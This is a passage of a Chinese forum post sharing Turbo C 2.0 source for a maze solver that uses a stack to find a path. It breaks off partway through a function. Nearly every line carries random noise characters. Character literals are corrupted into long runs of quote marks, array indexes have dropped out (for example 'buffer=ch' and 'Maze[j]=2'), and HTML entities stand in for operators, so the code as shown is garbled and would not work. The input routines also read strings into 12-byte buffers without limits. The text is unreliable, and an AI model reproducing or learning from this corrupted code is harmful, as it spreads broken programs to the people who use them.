QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7322|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
$ H$ C2 D$ U, X5 R( R. `( q  J< align=left>程序目的:7 Y1 s( ]: C- Z
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并" k5 j4 x1 ~' F/ N, j/ T& _
显示在屏幕上。
% r9 Z% J7 E* C7 x8 C2 P; Q; Q# g1 t程序实现:5 Q& W1 a; W( R/ S# ?: c' C$ C0 J4 t
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的/ N6 U6 k: g8 I' R/ I2 @, L$ q
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载% |  [% M' x5 }, ]  B: ~
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
7 f) ]' y* |, [* A6 ?0 m& z+ B, M时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
) s3 L; U  W0 X& n, [否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
7 k/ p0 m2 m6 ?5 i8 ?8 E( W用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以) [' a; L5 C! f. O+ R
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,- F) T# t( H8 o4 N! Z
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
  Q( z% }1 K* G3 |) Z程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
- G/ P- b: s/ T不可以在VC上编译。& D; a( f/ y4 I2 W7 S6 [/ f
下载DOS版和windows版的迷宫游戏全部代码
/ F" q  u% `& ~0 O" \7 F/ e用户名:migong
- n1 y" k5 c6 {) W- c; L----------------------------------------------------------------------------------
5 N9 y' @. Q3 i) z3 L" L* m/*1 z- l8 J& t& X: z& ?6 ^: w: ~
MazePath Demo BY Turbo C 2.0( A9 y* x0 b' C( ?, y* R
Copyright(c) RoverUnion. All right reserved.6 l, r& v# b0 N
Filename: Maze.c
, r4 r' i! I; {3 x5 V, `3 PAuthor Dongchengyu.6 m# i6 O! [. J* I1 w
Ver 1.10$ Q' |3 z( H4 \# ^/ |. D5 u
*/3 y( W( o3 D# ^; D% |% [" \) b
#include &lt;stdio.h&gt;+ l3 G2 S/ K+ L0 s1 K1 r8 b
#include &lt;stdlib.h&gt;
. k. q  `$ R9 B1 @#include &lt;malloc.h&gt;
4 C, `$ P- {/ u! G5 \% |* z#include &lt;conio.h&gt;
6 M8 I4 ]6 k* k  J# U. |#include &lt;dos.h&gt;0 ?- s2 d+ H% q' J5 G# W- i2 u: i
#define OK 1
1 [; l! m2 B1 z+ ?#define ERROR 0
- j; x+ s& R% X& w6 j0 B3 Z8 w) F8 _#define TRUE 1
: L! g. }. [9 q% q8 y#define FALSE 0
+ e  e. b) j6 d. [  k* b$ F#define F9 0x43
  ]2 P5 r7 m' F; I3 j1 f5 \#define Esc 0x1b: u5 g7 M/ t3 [- I6 A5 R% Y. f
#define Del 0x530 K2 G# I7 L+ k4 j
#define Home 0x47
; Z1 b6 M! g" M$ C6 @- Z#define End 0x4f1 q# G6 w% v* g" n
#define Space 0x20
4 u# M4 N: D3 x" R#define Up 0x48
$ [6 K  z* u" }2 v- O#define Down 0x50
. ], l8 O* @, Z. g#define Left 0x4b7 i1 \7 b4 i. \5 {: I" r; G
#define Right 0x4d
' t/ T) l( ^' u$ j7 |#define Enter 0x0d: V$ M6 h2 b5 k, q& n
#define F2 0x3c8 w; F" u* h- j" Z/ h) `5 m
#define F3 0x3d
3 ]6 @& I% G7 L# |  w0 w. V# j#define STACK_INIT_SIZE 200
: }; y& F4 F9 n2 J. K#define STACKINCREMENT 10
4 C* ~. [6 d  z( B. R" I% @typedef int Boolean;
8 {$ o0 U1 b1 Z$ Q6 E# q/ K; ?! S' Otypedef int Status;
7 s' |- D1 y! N  V# B# @; n7 _typedef struct {. K/ |( A9 C+ g) C
int x;
. r1 ]+ [/ _# n6 K4 U8 ^6 u" D9 Iint y;* O7 O& ]5 Y) ]# ?8 _
} PosType;
4 C/ Q: o, [  Y  Utypedef struct {& x5 `0 ?3 p" y8 y
int ord;
& ]4 C+ e; T7 ?# L) [PosType seat;0 ?) t- s! i3 g; i1 D  n4 k( k
int di;
6 k- Y2 H  o2 Y& f' }% j} SElemType;
. i. G( t- ~2 G+ F4 A* Ntypedef struct {" E( O: B  q! c3 a
int td;+ x& o8 b, l  G5 O0 R: J4 w
int foot;2 f8 m& n  f8 i. S1 E
int mark;: k" D3 k  s3 T
} MazeType;, G  x& d+ h# J  ?( p6 ?
typedef struct {
# v" ^3 |1 ^, F2 jSElemType *base;
* G6 V, Q0 t- O, vSElemType *top;9 F# H) v. y' X6 g
int stacksize;* M3 I+ ~- u. p! w
} Stack;
6 e* O0 Z# \$ t5 {1 M' Sint Maze[20][30];, V8 o9 S( |; o
MazeType maze[20][30];
) Q! T4 g* y4 ~* Z8 T0 JPosType StartPlace;. U9 t" Q! ?5 O  V) ]- p
PosType EndPlace;" K, j1 O- u% e5 V, w- F
int count;1 J5 m; b) U& Z
int m,n;
# o# a" g: A* T" FBoolean b_start=FALSE,b_end=FALSE;7 V1 o+ \3 }  [4 ~
void CreatMaze(void);
( p: G  h& v5 l  Y0 K1 RStatus SaveMaze(char *filename);1 Y5 N+ X2 Z3 ]% V& S& b2 ?2 p! W5 x4 X
Status LoadMaze(char *filename);
6 Y1 `# X. h0 x, d5 N6 `void Error(char *message);
1 n2 s1 U- E* P. ^2 b3 |: ZStatus InitStack(Stack *s);
% q7 Z* c: @- {* z% DStatus DestroyStack(Stack *s);
7 m0 T: g, K" ?Status ClearStack(Stack *s);
! Q1 o3 \: z8 I0 MBoolean StackEmpty(Stack *s);
: g! M& H( c: [. Lint StackLength(Stack *s);
: c- f, a* I- o7 [( Z3 N9 bStatus Push(Stack *s,SElemType e);
+ g6 k0 m" T. X8 r+ \. c- gSElemType Pop(Stack *s,SElemType e);
  n5 w2 p: y& s7 s% E7 k4 M, ]* \Status GetTop(Stack *s,SElemType *e);9 f' ?' X# O+ J1 z
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
$ l! l) }5 ~7 F6 R" {Boolean Pass(PosType curpos);) w+ \! v( C  M- R8 F* q' f; n
void MarkPrint(PosType seat);
) M) ~, V; I6 A$ k& m; S( F1 o9 hvoid FootPrint(PosType curpos);
2 J+ A. I. ?7 i4 _% E: w8 EPosType NextPos(PosType seat,int di);8 h, _" q# _2 z5 M$ w/ o
Status MazePath(PosType start,PosType end);+ c1 X; E; j8 i3 b
void CreatMaze(void)
* ]' _" K! x  Z# [6 l/* Form the maze. */; Y; T# U3 H& q; m, e
{
5 p- R7 O+ T# f& N* ?void Error(char *message);
  [; E# b2 q9 D+ b* U( BStatus SaveMaze(char *filename);4 x. u2 n6 x* L( U. H: B( G+ V
Status LoadMaze(char *filename);
' t! y, t! P) O$ S) d. _; uint i,j;, e, f& J. ?2 a5 H7 X( s# p% T
int x,y;9 E9 R: y4 K! j3 @3 r& }
char c;
8 y8 |. p3 W( a* g1 l. pchar savename[12],loadname[12];! j' O: ]( O0 b* Z1 N
Boolean flag=FALSE,load=FALSE;
% ^+ [) C  w$ d3 Rclrscr();% G- `5 p+ M7 @4 z6 D; ^
printf("Menu:\n\n");1 p5 S+ w+ M/ y* [& p9 k5 j8 M
printf("1.Load Mazefile*.dd)\n\n");
# L/ q0 U4 M, _2 N& p+ s% L/ W: Lprintf("2.Input Maze:\n\n");
3 D* @" d+ Z8 I6 o: Eprintf("Input your choice: ");
1 B: W; g- y9 \1 j0 V5 Kdo
4 f8 b2 }& g! {# a6 N% N{4 ~1 c6 h! _0 }7 C/ X, M
c=getch();& ^* T2 R1 R3 H' w
switch(c)
" R4 }7 x7 z) X. `{
! E( Q0 r" t: a. l+ k/ kcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
/ L+ j6 @9 P/ d/ y0 ^case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
  o' \  j) U" s6 @5 Z" k/ Acase Esc: sleep(1); exit(1);
5 r' p/ r6 E8 R: V9 L; Tdefault: break;, S7 N. l/ }- k4 k% ~. v' j, W
}, `8 E1 ]: S( B( t
}) C1 q* j# d* t
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
$ @! Y9 ]5 [2 q9 J  H. pif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')  \  c1 p! Q6 s2 h$ f
{
/ E% y3 ?9 O# Zprintf("\n\nLoadName: ");
& v, g- j! ~9 U5 k8 Q$ `scanf("%s",loadname);
2 H+ ~4 [, ^2 O$ Aif(LoadMaze(loadname)): m. N; _( i+ {$ a, i
{
0 i' G; k6 @5 J4 d- Jsleep(1); load=TRUE;4 A; @( O4 ^3 o- K6 F5 S
}7 O9 e' U$ h3 B1 G; P
else { gotoxy(1,9); printf("Load fail! "); }: T" Z3 m* R) L2 S8 V; J/ @8 j
}
; @; w) [" {5 }; b* Tif(!load)
: I& @6 I  k/ ?- j% j; i1 C! v$ S{& A  x* T9 @  a  n5 [& i! }# ]
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
4 k! Y9 e7 m% o4 C0 p; y; nprintf("\nInput Length :\n");  G) J/ ^* `3 R4 @8 }8 G
scanf("%d",&amp;m);; |9 i  O2 x: ^) ]6 m: w
printf("\nInput Width :\n");
4 F* j& n+ E! G! escanf("%d",&amp;n);* Z* }$ O$ a( U4 q
if(m&lt;4||n&lt;4) Error("Input");
4 v- [: s- S* V8 y2 Q, kif(m&gt;30||n&gt;20) Error("Maze too large");  n' E( u* |# ?
for(i=0;i&lt;30;i++)
% P' T( D0 }! ?& X5 T0 Xfor(j=0;j&lt;20;j++)
5 M7 V  W$ Q% ]: H: LMaze[j]=2;# Z% M# a# p9 c% P) b1 ^
StartPlace.x=0;4 m0 Y6 Q8 k: o9 Z$ i
StartPlace.y=0;7 d, ~- I8 g" t  k; `  t& Z; H
EndPlace.x=0;; a+ I9 k: X2 g# C
EndPlace.y=0;: G* n' Q$ W+ ?( ~/ x5 h
clrscr();6 Q8 p7 o: [' b3 n2 s7 M
printf("\n");! M0 M# G4 a4 g( e
for(i=1;i&lt;=n;i++)2 q' k1 x% ~7 N1 V  U' [) y! f
{. {2 o& c" a/ y  }) y6 I
for(j=1;j&lt;=m;j++)/ `& Z/ f2 n& Y) B1 |% N) M: E
{
; C. S; q" b1 n2 [) o. Xprintf(" #");
% _- B- z4 [9 o/ v" LMaze[i-1][j-1]=0;& `. F0 _+ w0 R
}
& t( I+ x: ^9 }6 G. Aprintf("\n");( S! \! E% P- U  f; r/ p2 [
}
: o0 f, f' I$ u& M6 c  {; w. q4 ~}6 V+ S6 G; O: r& v  ?4 ?9 J
gotoxy(65,5);, P0 I$ N, J& D
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");5 q9 M( B  J+ T" S
gotoxy(65,7);
1 z5 l. ?0 j/ h0 @printf("Start:Home");( K" A% D- @, i0 a% i
gotoxy(65,9);, {  P) ?* z( d9 M8 R
printf("End:End");* u8 A" P# q* j+ a2 U2 T; m
gotoxy(65,11);
' h- ]% n, `- K& P' E1 G- bprintf("Delete Wallel");  D6 S) C  O! u$ K2 M
gotoxy(65,13);8 ~( B3 ?0 u6 y
printf("Enter Wall:Enter");
& `3 n  N" U5 y0 q1 r% }: Dgotoxy(65,15);/ ]) n$ f6 e7 m. ]$ a9 k# A
printf("Save Maze:F2");
) [" y9 R) P$ C. V- Ugotoxy(65,17);7 B/ z0 T! f9 v& ^% N) }! E3 B5 B
printf("Complete:F9");
6 K  x2 [$ E; s3 k: [# @gotoxy(65,19);
) w9 A% p$ R! a3 dprintf("Exit:Esc");! p$ s8 N# _* Y# ?
gotoxy(4,3);, \5 ?7 |5 h2 {- u% h5 P
x=4;y=3;
) h, \& z% G! [# t) Qdo# K& j) p+ V+ }9 O7 O8 N! k& l
{
7 G5 o* [+ J( m( Z3 jc=getch();3 W1 X  m" m+ z! y5 U4 d4 ^
switch(c)
6 N9 L8 o. C- W1 \: ^: v& m  ]{
- _2 Q; x+ h4 L( k1 F4 a3 y5 Xcase Up: if(y&gt;3) { y--; gotoxy(x,y); }
7 f; r4 M3 h2 vbreak;: ~  Q( r% H" |/ q3 f. K" J, _
case Down: if(y&lt;n) { y++; gotoxy(x,y); }; d5 a2 B2 e5 m: L) t6 k1 j& n
break;
) T. r# v3 c0 |. }% i9 g/ T3 V# Tcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }% {% H/ D( {6 k$ Y
break;- k- L; v; o. \
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
- v$ |& C0 {# y3 Obreak;
# X: B1 Q- [& `9 ~case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
8 D0 C9 K5 w, ~/ G9 Rif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;0 ]8 E+ d. g0 g2 {3 [8 d& {. P: V
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
1 N0 `$ h$ H% Sbreak;
( H1 u0 u  |' F2 M6 C2 tcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
2 y: q. g, d7 k: Q1 z1 fif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;! a% {3 @4 ~5 s+ [6 ^
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);9 R* D: G0 ?% C, O- c2 q; |
break;
2 M! L$ {' M3 @% v6 z! o8 Ncase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
5 ^, T1 _( y8 _7 w+ I) V{
* C# Y$ B( E8 PStartPlace.x=x/2-1;  X4 c' ?  i) y
StartPlace.y=y-2;
. c$ f. F  W8 g* ?! Eputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
# B5 d/ f/ l" }9 r4 G- C# f$ \2 tgotoxy(x,y);+ U4 w+ s/ e* K6 v' y% a8 r' W
b_start=TRUE;) Z& _7 M5 f5 z, E" C/ Q' a7 q! {5 v
}
4 n( y: X5 D& k. C: s, cbreak;; e1 ~8 A/ G# D
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)7 E% M3 A/ m" r' \; p) R5 J
{
. s) T: z$ \3 K' c, X9 O9 xEndPlace.x=x/2-1;
) N$ _. e6 l" v$ I6 qEndPlace.y=y-2;, [  {5 N* m/ m. i, |# m% R
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
2 `. [( n$ Q* B) Qgotoxy(x,y);
1 j. C: D  c0 L4 Y  F4 Wb_end=TRUE;4 \( W3 C, \* U8 i3 u6 x! I/ N
}
& b' ?3 T. n  qbreak;
  e2 o( u! y: n2 ^0 Y, @; U4 l! N2 vcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);0 I6 N( q- e2 \
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
/ W4 n$ _: Q0 o+ p6 e, gcase F2: gotoxy(2,22);) L' |9 v+ T& B6 W( x
printf("Savename:");
# J. N, B- G; zscanf("%s",savename);- l9 X! v6 M! p1 J5 o: }! E
gotoxy(2,22);
( R: ?3 }) Q4 f- J, _2 Vif(SaveMaze(savename)) printf("Save OK! ");
# X& X$ O' H! e- a6 delse printf("Save fail! ");5 O; h1 P7 M  Z5 @& j2 q! m- n3 L/ X
sleep(1);$ g9 m- }5 z" u( z& q: C
gotoxy(2,22);
- }. R3 v! u: Jprintf(" ");3 c  m* D+ }) D6 u# K
gotoxy(x,y);
5 A# Q9 P9 [: Tbreak;+ v# \% T2 q4 Z9 q" i
default: break;
8 a' j6 M% j# N: W}: ~4 V) h/ ?; |/ k; @
}
* N) `& Q& Z, A% bwhile(!flag);
3 L& v* x% o+ F6 G% v- [; Hfor(i=0;i&lt;30;i++)) H: [  i$ K+ T4 w: l
for(j=0;j&lt;20;j++)
2 K$ f: j& ]0 Y7 X% f* k% b" J6 n{
* n; v1 k) o" N6 h2 W( m( q, ymaze[j].td=Maze[j];: \: C0 k. s+ x! K; ]" X) G
maze[j].mark=0;- ~1 p7 j" m. h% e' }7 E
maze[j].foot=0;
# H5 T+ U9 C' F) p& y2 }% t. Z. a+ J}6 ?( ?, q1 D% G
}9 m9 H$ g3 e' I- @+ x7 D. B/ H
Status LoadMaze(char *file)( \) ^" @  O6 ]. }/ M" p+ y7 y# }2 ^
/* The maze has been loaded. */
6 W. g/ j* z+ ?" e6 Y! S+ A; t7 G- A% `{
, ~( ^8 s* ~# h( KFILE *fp;" f. c) h( u% ?6 B9 M* ]- }+ k- W
char *buffer;
* R8 @+ n3 i9 X2 Achar ch;4 X' r: u5 j. E2 p6 Z7 e3 z
int i=0,j,k;
2 |7 d- s; F/ u) L% }0 NBoolean len=FALSE,wid=FALSE;
0 I% w+ J' V' j$ W- t+ ]% gif((fp=fopen(file,"r"))==NULL)
6 \2 {' l) m3 e3 \7 L7 [5 Breturn ERROR;
4 v3 l# m1 v4 ~0 `buffer=(char *)malloc(600*sizeof(char));# W9 r# [' Q7 x& d
ch=fgetc(fp);
# }2 P$ R2 x% R; O1 K; P8 K6 awhile(ch!=EOF)
. c; O4 T6 ?9 s' v{/ g' J" k2 o2 X: h# r
buffer=ch;
1 _) c7 T/ }( J+ |) q0 ni++;: M! D- `& q3 G, x" Q" Z" l5 ?
ch=fgetc(fp);- ?6 u  \6 ?8 o/ @% x, p. q
}
2 x& c. g% q7 x, lm=30;n=20;
; w6 i7 ]: F7 U. C! |for(i=0;i&lt;600;i++)
1 j7 ]# j8 o( i+ H; p{" w$ ^7 {% y' N9 Q  q2 u# ]
j=i/30; k=i%30;
, t+ {3 M$ @6 h! `6 l- o9 gif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
1 n8 `5 H) t. u/ W2 M4 y" vif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
' U  W" [2 W' D* m) Cswitch(buffer)
6 {6 S, s; _2 p- g9 z{$ n* y* a+ W' H
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;" w* L! |1 E  B, W/ t7 A  w
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
5 j' {  z4 ~6 X8 u  L$ l7 K  ecase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
9 p0 g4 m2 H4 V$ zcase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;. K* a  X$ x% l& P1 F* }
StartPlace.x=k;
8 N& M2 |2 Y" C- E! XStartPlace.y=j;
' B% z0 Q+ c& [7 [; D4 pb_start=TRUE;1 B* G3 E# z, i! j5 e2 k  ?
break;
- g( ]& n3 ]  x/ _  V  Jcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
# s( a4 n) D2 CEndPlace.x=k;% M. e4 @- ~! R" ]9 \* p& ~
EndPlace.y=j;
. Q2 C2 M0 m" o* o" F- Zb_end=TRUE;
0 V: x3 O( _& @: q  F) Mbreak;
7 v8 z( T8 \* g- Ndefault : break;
. G+ `# C7 q) T6 I% k  D1 v. z}
) k. v4 b, S$ I  L1 S+ W}
" _% O: H. r. n' A* `5 \$ @fclose(fp);
- U' |9 j5 i: p! x( iclrscr();
2 K" u! B1 r  P  B; M  D$ H: Gfor(i=0;i&lt;30;i++)8 U) a7 F3 T* f
for(j=0;j&lt;20;j++)
: j9 d) B7 s1 x  p) P5 J{
8 {: c& a" ]4 Umaze[j].td=Maze[j];
0 \( Y# J' V0 Z5 e+ ~  emaze[j].foot=0;+ W1 ]- \  I7 |) x
maze[j].mark=0;' O1 ~$ n: g: s2 y. @: {
if(Maze[j]==0)  y8 G3 _/ L; O. x+ u
{9 d1 U6 C) k1 }4 I9 ?1 r; C
gotoxy(2*i+2,j+2);
2 q5 R2 L) i5 A, G  s# {putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');: C) _& d8 h2 f# W% F) j
}
; ]! s1 N0 m2 r% Q, L0 q}
* F( ~: L4 n" [2 b1 H! ]gotoxy(2*StartPlace.x+2,StartPlace.y+2);: M5 d# F$ R4 G* `6 p# S: S  d  n
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
! T+ v9 x- y, F7 J( a' [$ xgotoxy(2*EndPlace.x+2,EndPlace.y+2);, _' `1 T: y$ C( S- u
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
, b4 H9 Y; H& Zreturn OK;
4 {: S4 D* N  f# h}
1 z/ j1 B2 B, [Status SaveMaze(char *filename)
0 @$ _8 ^# y+ U/ W( Q6 F/* The maze has been saved. */
, ^* V5 h6 J1 M+ Y- z{6 L1 `$ B2 l* z; y& t/ `8 X3 T% D/ g
FILE *fp;
3 D1 m! K6 x, b  R: e: ]4 E0 gchar *buffer;
+ m, S! X4 t9 A- Y- v' t& Xint i,j,k;$ v; k- F( K! P7 b# L
fp=fopen(filename,"wb");
- Q: \% ^/ O5 u; M% L! ]buffer=(char *)malloc(600*sizeof(char));
2 m! h* |8 o: L% F' n( p" l1 dfor(i=0;i&lt;600;i++)
+ P/ ~, a4 x9 x, s6 a8 z! d& J0 P{
7 K# @1 @9 ?0 y% c- e5 zj=i/30; k=i%30;3 ^( m& d8 H1 P+ n, A6 R5 f
switch(Maze[j][k])) U7 j0 f! I0 _/ d5 ^  R
{
6 w  y* Y' n6 Qcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
6 \! \# X) w. B, q* v) @case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
! j7 X7 s) |# E  l& G( X. |case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
' G" W" ^$ ]& z9 [4 Y+ Ndefault : Error("Write"); break;0 D" c& r. B: ~4 n/ ^
}
5 o# T8 q& T8 |' L) x2 \if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
( |$ I) Q, k2 n8 p0 O+ X: Fif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';* H! s% v5 c% L1 _' j1 P; v) m
}
4 P+ Q- f5 O* ?' z- g+ k0 W1 }fwrite(buffer,600,1,fp);) l5 \# l3 X# Y6 d
free(buffer);
/ K' z8 E  Q( {" z: X' _6 o1 rfclose(fp);/ v; R; a3 D/ @3 Z6 M1 ^% ?1 V; c
return OK;
& U: M( X) c" z( s6 L}
1 Q: z" {: o( i. D$ {' ^void Error(char *message)
+ W2 H/ `% p4 n$ J{
, }+ B8 \1 A1 E1 x0 r* t8 Jclrscr();% o" f& a1 b/ ~! r
fprintf(stderr,"Error:%s\n",message);
8 o. G, F- L. J& ], B! L( k9 H- texit(1);
, l( O, Z' L" H1 M1 d! x} /* Error */- m9 R  u& y: b4 y5 t0 L

8 E/ J1 M; {0 S( c* I( b5 RStatus InitStack(Stack *s)
4 n( Z1 l2 ?* Z1 A$ h2 M/* The stack s has been created and is initialized to be empty. */( L5 A0 e6 t8 k2 Z" Y% h
{8 X# }$ f% Q' e3 _, i" }
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
( [' K* D0 y' Aif(!s-&gt;base) Error("Overflow");6 ?5 W. l7 ]/ d% M+ }
s-&gt;top=s-&gt;base;
; |* z& q' i0 T( C0 b4 vs-&gt;stacksize=STACK_INIT_SIZE;
# I$ d6 B3 @$ _) ~* Q9 Jreturn OK;8 {8 {- \8 p3 ?$ a) [
} /* InitStack */
$ a8 Z( f/ q8 A" i( ~8 W( ]# y' q4 wStatus DestroyStack(Stack *s)0 L6 B- I4 I9 ^* j: G( ]5 P9 e
/* The stack s has been destroyed. */2 v5 Q! v. q6 z) f4 M9 L% l
{
# D2 g. e  |( r. ^- Z4 z( f) vs-&gt;top=NULL;
% M$ o- @5 t; F; |) K- Ss-&gt;stacksize=0;1 }! \0 y; q& @
free(s-&gt;base);
$ c' U) H; F. r3 C" J  ms-&gt;base=NULL;* T& ?! ?9 ^, B6 W5 \+ C2 {
return OK;7 H7 l1 B& J; k
} /* DestroyStack */& |+ v$ n. @: o. M4 Q' I
Status ClearStack(Stack *s)6 U6 b. g# `% t4 `$ t5 G8 n3 S- ?
/* The stack has been clear to be maximum. */$ W3 _) e  A9 \; q9 c/ z% z
{
* x5 h8 Y6 b7 C7 p3 Us-&gt;top=s-&gt;base;
% T- n* a. G- L* g4 Os-&gt;stacksize=STACK_INIT_SIZE;* U# `3 l9 W& C/ ]+ R3 ?
return OK;
9 a( P- S1 z. B} /* ClearStack */: P2 ]) z/ j* M! O
Boolean StackEmpty(Stack *s)2 K' H6 q: A- Q& S+ V. E/ }
/* Check if the stack s is empty. */" A3 y9 }  L6 X. t: h# a0 H5 R6 q
{4 X; z- |+ I% e4 F
if(s-&gt;top==s-&gt;base) return TRUE;0 d$ K! i; `. h! [9 e& Z' r
else return FALSE;* V" O) H8 @7 g5 e
} /* StackEmpty */% i( A- M  L8 e& e; ]6 Q
int StackLength(Stack *s)
/ s6 Z# g1 r3 R) M" S; `/* Gain the length of the stack s. */9 O+ f. c4 [" e" N* v
{: v" q8 L6 ]( s6 P2 y5 U0 f7 \8 x
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
5 c: f1 P9 ^  K1 u% P2 ^/ celse return 0;
% d" ^; a$ `5 w" c  L5 m8 M- E4 p} /* StackLength *// a1 N( T, M" Z7 o5 X
Status Push(Stack *s,SElemType e)  R8 h8 I3 x: u7 @4 q
/* The element e has been pushed into the stack s. */0 t6 {2 }8 E1 H; k
{
7 |  a6 n2 x* q8 `% j" hif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
* Z' y, e; j3 s{
3 ?5 K* I  W' _+ y* f+ gs-&gt;base=(SElemType *)realloc(s-&gt;base,
" F: w  ?1 O5 A(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
% k& T2 x! {. x; O+ H+ G+ pif(!s-&gt;base) Error("Overflow");0 M' Y0 G3 h( g6 x1 H( S
s-&gt;top=s-&gt;base+s-&gt;stacksize;
3 S' `$ z) z% L; ls-&gt;stacksize+=STACKINCREMENT;
! g; y, {1 y( D0 q3 Q}
' ]) ]4 N/ a. j+ U3 W) _*s-&gt;top++=e;
- T2 N0 G! d. u' B( \3 }- lreturn OK;
3 ~% n2 t- u- G% h6 V/ G, f} /* Push */
, C+ I2 v/ r5 j; e# y6 RSElemType Pop(Stack *s,SElemType e)# B- y* H1 A. i, h/ h1 {1 E7 j8 O
/* The element e has been removed from the stack s. */- H0 y' D+ Q$ O
{
% a0 _0 W- Q0 k6 hif(s-&gt;top==s-&gt;base) Error("op");7 i4 H' C- |! j, R+ ]& ~0 b
e=*--s-&gt;top;- M4 o$ T% _" D$ N7 f* o
return e;
" N6 ]( a7 Y3 b} /* Pop */
% X* Q3 {* L, n1 o. A4 i$ OStatus GetTop(Stack *s,SElemType *e)$ ^) |1 D3 ~6 _, ^+ l1 c
/* The element e has got to the top of the stack s.*/
& y3 ^6 a; A* D& r- }4 G{) |( h1 A$ ^6 X; v4 _
if(s-&gt;top==s-&gt;base) Error("GetTop");$ _) y# d3 c$ t7 f. |1 P) ~' J
*e=*(s-&gt;top-1);
, h: o5 `6 H, a/ ^/ Dreturn OK;
8 P- j2 N# `/ x2 y- a: C1 L} /* GetTop */
1 [9 q! x  G! G% Y1 C% {/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. *// O$ R1 W( E" r! ^5 @
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))& ~  N5 B& p; B' ?5 j
{
6 A# O, S1 ^# W$ S) l, w9 O7 mSElemType p;  n6 N* d! m" F, ?
int result;
: l8 j. C8 [+ N8 `2 [* w$ p2 `, N( p8 Gif(s-&gt;top==s-&gt;base) return ERROR;6 t$ c' ~( W# t0 X# u9 }
p=s-&gt;base;3 b6 e" M% y& T
while(!(p==s-&gt;top))
# v! E: U: s+ M. A$ G# U' J{
2 M4 [2 Z# R5 Z7 \, |result=(*visit)(p);
3 q. s  k' Z& V5 {/ vp++;; e8 V7 I7 J  ]
}+ S" _2 @* k4 [& P6 e; C& n
return OK;3 Z9 @3 g1 X: `" H, v" _
} */
% C. s- ]% S8 A; {" QBoolean Pass(PosType curpos)
  D, L" E: y1 ]4 T% L/* Check if the current position can be passed. */4 J1 k$ S& P, f& u' G5 i- O9 n& x
{
8 o. N8 D/ a+ d+ lif(maze[curpos.x][curpos.y].td==1&amp;&amp;
